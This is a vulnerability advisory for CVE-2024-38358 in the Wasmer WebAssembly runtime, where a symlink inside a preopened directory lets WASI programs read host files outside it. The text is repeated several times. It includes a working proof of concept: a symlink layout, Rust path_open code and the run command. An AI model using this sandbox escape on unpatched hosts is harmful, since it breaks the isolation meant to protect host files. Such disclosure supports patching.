CVE-2024-38358

Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link. This issue has been addressed in commit b9483d022 which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link. This issue has been addressed in commit b9483d022 which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link. This issue has been addressed in commit b9483d022 which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link. This issue has been addressed in commit b9483d022 which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.